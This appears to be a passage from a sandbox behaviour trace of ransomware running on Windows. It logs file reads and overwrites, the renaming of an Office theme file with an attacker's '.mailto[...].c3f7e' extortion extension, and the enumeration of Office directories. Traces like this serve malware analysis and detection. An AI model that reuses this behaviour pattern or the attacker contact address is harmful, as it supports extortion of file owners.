	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x82b5fd40
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x1b73271e
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x9d87e005
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xa27711aa
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x40a46ab4
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x83b57442
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x103e7092
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xc1e07172
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xd0095dac
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xe1e54a77
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x519cce2b
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xebf07939
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x227a7741
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x6cdd8fc3
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0xd77b6fab
	[0091.539] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x3b8cafe2
	[0091.540] RtlRandom (in: Seed=0x182bfe10 | out: Seed=0x182bfe10) returned 0x128ee493
	[0091.548] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.548] ReadFile (in: hFile=0x1558, lpBuffer=0x50bd898, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x182bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x50bd898*, lpNumberOfBytesRead=0x182bfdbc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.560] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.560] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfab68
	[0091.560] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83198
	[0091.560] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319e8
	[0091.560] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319e8) returned 1
	[0091.561] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50a4888
	[0091.562] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319e8
	[0091.562] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a10
	[0091.562] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a10) returned 1
	[0091.562] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.562] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0091.562] WriteFile (in: hFile=0x1558, lpBuffer=0x50a4888*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x182bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesWritten=0x182bfdbc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.570] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.570] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.570] ReadFile (in: hFile=0x1558, lpBuffer=0x50bd898, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x182bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x50bd898*, lpNumberOfBytesRead=0x182bfdbc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.572] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.572] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0091.572] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83198
	[0091.572] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0091.572] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.573] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50a4888
	[0091.574] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0091.574] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731830
	[0091.574] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731830) returned 1
	[0091.574] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.574] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0091.574] WriteFile (in: hFile=0x1558, lpBuffer=0x50a4888*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x182bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesWritten=0x182bfdbc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.577] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.577] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0xa7c7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.613] ReadFile (in: hFile=0x1558, lpBuffer=0x50bd898, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x182bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x50bd898*, lpNumberOfBytesRead=0x182bfdbc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.615] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0xa7c7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf58
	[0091.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83198
	[0091.615] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731830
	[0091.615] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731830) returned 1
	[0091.616] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50a4888
	[0091.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731bc8
	[0091.617] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731bf0
	[0091.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731bf0) returned 1
	[0091.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.617] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf58) returned 1
	[0091.617] WriteFile (in: hFile=0x1558, lpBuffer=0x50a4888*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x182bfdbc, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesWritten=0x182bfdbc*=0xc800, lpOverlapped=0x0) returned 1
	[0091.636] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47342f8
	[0091.636] SetFilePointerEx (in: hFile=0x1558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.636] WriteFile (in: hFile=0x1558, lpBuffer=0x4790b40*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x182bfe64, lpOverlapped=0x0 | out: lpBuffer=0x4790b40*, lpNumberOfBytesWritten=0x182bfe64*=0x145, lpOverlapped=0x0) returned 1
	[0091.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790b40) returned 1
	[0091.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77f00) returned 1
	[0091.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ea0) returned 1
	[0091.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47342f8) returned 1
	[0091.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0091.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0091.640] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0091.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e12e18
	[0091.640] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx") returned="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx"
	[0091.640] wcscat (in: _Dest=0x2e12e18, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.640] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x182bfe1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491d538
	[0091.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d538) returned 1
	[0091.641] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0091.641] NtQueryInformationFile (in: FileHandle=0x1558, IoStatusBlock=0x182bfe28, FileInformation=0x182bfe00, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x182bfe28, FileInformation=0x182bfe00) returned 0x0
	[0091.641] NtSetInformationFile (FileHandle=0x1558, IoStatusBlock=0x182bfe28, FileInformation=0x182bfe00, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.642] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0091.642] FlushFileBuffers (hFile=0x1558) returned 1
	[0093.274] CloseHandle (hObject=0x1558) 

Thread:
	id = 641
	os_tid = 0x1930

	[0078.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2e175e8
	[0078.159] wcscpy (in: _Dest=0x2e175e8, _Source="C:\\Program Files\\Microsoft Office\\root\\Flattener" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Flattener") returned="C:\\Program Files\\Microsoft Office\\root\\Flattener"
	[0078.159] wcscat (in: _Dest=0x2e175e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Flattener\\") returned="C:\\Program Files\\Microsoft Office\\root\\Flattener\\"
	[0078.159] wcscat (in: _Dest=0x2e175e8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Flattener\\*") returned="C:\\Program Files\\Microsoft Office\\root\\Flattener\\*"
	[0078.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475a978
	[0078.159] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\*", lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8698
	[0081.986] wcscmp (_String1=".", _String2=".") returned 0
	[0081.986] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.987] wcscmp (_String1="..", _String2=".") returned 1
	[0081.987] wcscmp (_String1="..", _String2="..") returned 0
	[0081.987] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa937f07, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-file-l1-2-0.dll", _String2=".") returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-file-l1-2-0.dll", _String2="..") returned 1
	[0081.987] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf035e09d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf035e09d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-file-l2-1-0.dll", _String2=".") returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-file-l2-1-0.dll", _String2="..") returned 1
	[0081.987] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="AP6221~1.DLL")) returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-localization-l1-2-0.dll", _String2=".") returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-localization-l1-2-0.dll", _String2="..") returned 1
	[0081.987] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a6407d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-processthreads-l1-1-1.dll", _String2=".") returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-processthreads-l1-1-1.dll", _String2="..") returned 1
	[0081.987] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1814809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-synch-l1-2-0.dll", _String2=".") returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-synch-l1-2-0.dll", _String2="..") returned 1
	[0081.987] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdee689, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdee689, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdee689, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-timezone-l1-1-0.dll", _String2=".") returned 1
	[0081.987] wcscmp (_String1="api-ms-win-core-timezone-l1-1-0.dll", _String2="..") returned 1
	[0081.987] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37acc11, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37acc11, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37acc11, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-core-xstate-l2-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-core-xstate-l2-1-0.dll", _String2="..") returned 1
	[0081.988] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x44a38de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x44a38de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-conio-l1-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-conio-l1-1-0.dll", _String2="..") returned 1
	[0081.988] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42d8c51, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-convert-l1-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-convert-l1-1-0.dll", _String2="..") returned 1
	[0081.988] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-environment-l1-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-environment-l1-1-0.dll", _String2="..") returned 1
	[0081.988] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7667bd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7667bd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-filesystem-l1-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-filesystem-l1-1-0.dll", _String2="..") returned 1
	[0081.988] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-heap-l1-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-heap-l1-1-0.dll", _String2="..") returned 1
	[0081.988] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-locale-l1-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-locale-l1-1-0.dll", _String2="..") returned 1
	[0081.988] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x72c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-math-l1-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-math-l1-1-0.dll", _String2="..") returned 1
	[0081.988] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6971e7c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6971e7c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6971e7c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-multibyte-l1-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-multibyte-l1-1-0.dll", _String2="..") returned 1
	[0081.988] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18d43c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18d43c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18d43c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-private-l1-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-private-l1-1-0.dll", _String2="..") returned 1
	[0081.988] FindNextFileW (in: hFindFile=0x46a8698, lpFindFileData=0x475a978 | out: lpFindFileData=0x475a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-process-l1-1-0.dll", _String2=".") returned 1
	[0081.988] wcscmp (_String1="api-ms-win-crt-process-l1-1-0.dll", _String2="..") returned 1
